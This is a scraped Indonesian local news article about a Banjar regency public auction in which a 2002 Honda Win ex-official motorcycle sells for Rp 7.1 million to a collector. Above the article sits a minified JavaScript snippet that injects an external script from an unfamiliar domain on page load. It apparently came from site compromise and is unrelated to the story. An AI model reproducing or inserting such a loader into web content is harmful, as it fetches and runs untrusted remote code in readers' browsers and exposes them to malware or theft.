(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Honda Win berplat DA 767 BM, menjadi 1 dari 33 unit sepeda motor roda dua dengan tawaran harga tertinggi, menjadi incaran peserta lelang umum terbuka gelaran Pemkab Banjar di Aula Barakat, Selasa (12/2).
Eks motor dinas lansiran tahun 2002 tersebut sebelumnya sempat diperebutkan 41 peserta lelang lainnya. Terbanyak diikuti peserta lelang dibandingkan dengan 32 unit motor lainnya. Lelang Honda Win tahun 2002 itu sempat ‘panas’, lantaran peserta lelang saling menginginkan dan berebut dengan angka tertinggi yang ditawarkan panitia lelang.
Sekedar diketahui, harga limit dasar yang ditawarkan panitia lelang hanya Rp 300.520, motor dengan kelengkapan BPKB tersebut akhirnya terus merangkak naik hingga tembus di angka Rp 7.100.000. Adalah Arif (nama samaran), pegawai swasta asal Martapura yang memenangkan lelang dan berhasil membawa pulang motor pabrikan Jepang tersebut.
Ketika ditanya Kanal Kalimantan, Arif mengaku harga tersebut sebenarnya masih tergolong tinggi jika dibandingkan dengan harga pasaran, namun karena suka dan sudah diniati sedari awal, seberapa pun harganya motor tersebut harus ia angkut pulang. Ia rela menebus motor hingga harga tertinggi dan menyingkirkan 41 peserta lelang lainnya.
“Saya sudah niat motor tersebut harus didapatkan, lagipula saya juga boleh dikatakan kolektor motor jadul. Memang di rumah Honda Win saya masih belum punya, ini kesempatan saya, kapan lagi,†akunya.
Arif menilai motor yang dipilihnya tersebut, jika dilihat dari kondisi barang dan dibandingkan dengan motor lainnya yang disediakan panitia lelang kondisi jauh lebih bagus. Melihat dengan kondisi seperti sekarang, tentunya ia harus merogoh kocek lagi untuk menganti spare part yang sudah rusak, baru bisa Honda Win itu bisa dipakai dan kembali mengaspal.
“Sebelum memutuskan untuk menarget motor ini tadi sudah saya tes, kondisinya masih mati total, namun saya yakin mesinnya masih bagus, perlu modal Rp 3-4 juta lagi pasti sudah jreng,†bebernya.
Perlu diketahui lelang asset daerah tersebut berdasarkan Keputusan Bupati Banjar Nomor 188.45/735/KUM/2018 tanggal 26 November 2018 tentang penetapan barang milik daerah berupa kendaraan dinas roda dua dan roda empat sebagai objek. Sementara uang hasil lelang umum terbuka akan langsung disetorkan ke daerah sebagai Pendapatan Asli Daerah (PAD). (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.